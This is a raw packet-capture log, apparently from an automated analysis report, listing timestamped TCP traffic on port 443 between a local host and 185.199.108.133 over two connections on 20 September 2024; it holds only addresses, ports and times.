Sep 20, 2024 12:14:52.557557106 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.595649958 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.595693111 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.595884085 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.595895052 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.595947981 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.596415043 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.596461058 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.596502066 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.596508026 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.596550941 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.598088026 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.598129988 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.598169088 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.598175049 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.598203897 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.598226070 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.603653908 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.603694916 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.603735924 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.603741884 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.603775978 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.603802919 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.604346991 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.604386091 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.604430914 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.604435921 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.604473114 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.604496956 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.604645014 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.604682922 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.604720116 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.604726076 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.604763985 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.604785919 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.605148077 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.605211020 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.605227947 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.605235100 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.605273008 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.605293989 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.605523109 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.605571032 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.605604887 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.605611086 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.605652094 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.642535925 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.642604113 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.642663002 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.642680883 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.642714024 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.642744064 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.642822027 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.642870903 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.642904997 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.642911911 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.642947912 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.642976999 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.643021107 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.643069029 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.643099070 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.643106937 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.643141031 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.643209934 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.643781900 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.643796921 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.643882990 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.643893957 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.643974066 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.644432068 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.644449949 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.644515991 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.644522905 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.644581079 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.644607067 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.644640923 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.644697905 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.644737005 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.644787073 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.644994974 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.645020962 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.645086050 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.645095110 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.645139933 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.645348072 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.645370007 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.645432949 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.645441055 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.645489931 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.689656973 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.689702988 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.689770937 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.689811945 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.689842939 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.689882994 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.690073967 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.690195084 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.690207005 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.690218925 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.690274000 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.691163063 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.691203117 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.691260099 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.691277027 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.691302061 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.691351891 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.692647934 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.692692041 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.692751884 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.692763090 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.692853928 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.692873001 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.692898989 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.692909956 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.692941904 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.692950964 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.692990065 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.693000078 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.693037033 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.693079948 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.693257093 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.693329096 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.693339109 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.693352938 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.693402052 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.693610907 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.693650007 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.693698883 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.693708897 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.693734884 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.693782091 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.693931103 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.693969965 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.694201946 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.694215059 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.694329977 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.730281115 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.730319023 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.730591059 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.730591059 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.730623007 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.730742931 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.730765104 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.730777025 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.730808020 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.730849981 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.730879068 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.730885029 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.730941057 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.731012106 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.731054068 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.731097937 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.731106043 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.731137037 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.731158972 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.732228994 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.732270002 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.732314110 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.732321978 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.732357979 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.732379913 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.732542038 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.732595921 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.732640982 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.732649088 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.732685089 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.732703924 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.733263969 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.733298063 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.733342886 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.733350039 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.733416080 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.733450890 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.733834982 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.733867884 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.733916044 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.733923912 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.734004974 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.734575987 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.734622002 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.734657049 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.734663963 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.734678984 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.734725952 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.737750053 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.777314901 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.777383089 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.777549982 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.777560949 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.777560949 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.777599096 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.777621984 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.777630091 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.777677059 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.777750015 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.777838945 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.777900934 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.779902935 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.779968023 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.780024052 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.780090094 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.780131102 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.780201912 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.780241966 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.780277014 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.780292988 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.780322075 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.780394077 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.780442953 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.780462027 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.780488014 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.780527115 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.780675888 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.780718088 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.780742884 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.780756950 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.780788898 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.780911922 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.780958891 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.780985117 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.780998945 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.781028986 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.787261963 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.816993952 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.817054987 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.817114115 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.817131042 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.817146063 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.817178965 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.817238092 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.817279100 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.817307949 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.817316055 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.817349911 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.817372084 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.817440033 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.817482948 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.817516088 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.817522049 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.817568064 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.819006920 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.819053888 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.819084883 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.819092989 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.819128990 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.819144964 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.819483995 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.819524050 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.819559097 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.819566011 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.819602966 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.819621086 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.819684029 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.819725990 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.819760084 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.819766998 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.819799900 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.819906950 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.820009947 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.820059061 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.820079088 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.820095062 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.820120096 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.820143938 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.820399046 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.820441961 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.820470095 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.820477962 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.820508957 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.820532084 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.864015102 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.864074945 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.864165068 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.864228964 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.864259958 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.864269972 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.864294052 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.864310980 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.864331961 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.864358902 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.864386082 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.864411116 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.864520073 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.864559889 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.864607096 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.864624977 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.864651918 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.864681959 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.866535902 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.866576910 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.866620064 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.866631031 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.866672039 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.866691113 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.866816998 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.866906881 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.866920948 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.866945028 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.866990089 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.867008924 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.867089033 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.867127895 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.867166042 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.867177010 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.867203951 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.867249966 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.867671967 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.867713928 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.867753029 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.867763042 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.867791891 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.867815971 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.867964029 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.868005037 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.868046999 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.868057013 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.868086100 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.868113995 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.903913975 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.903973103 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.904026985 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.904040098 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.904083967 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.904109001 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.904174089 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.904218912 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.904253960 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.904262066 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.904299021 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.904324055 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.904391050 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.904438972 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.904474020 CEST	58639	443	192.168.2.4	185.199.108.133
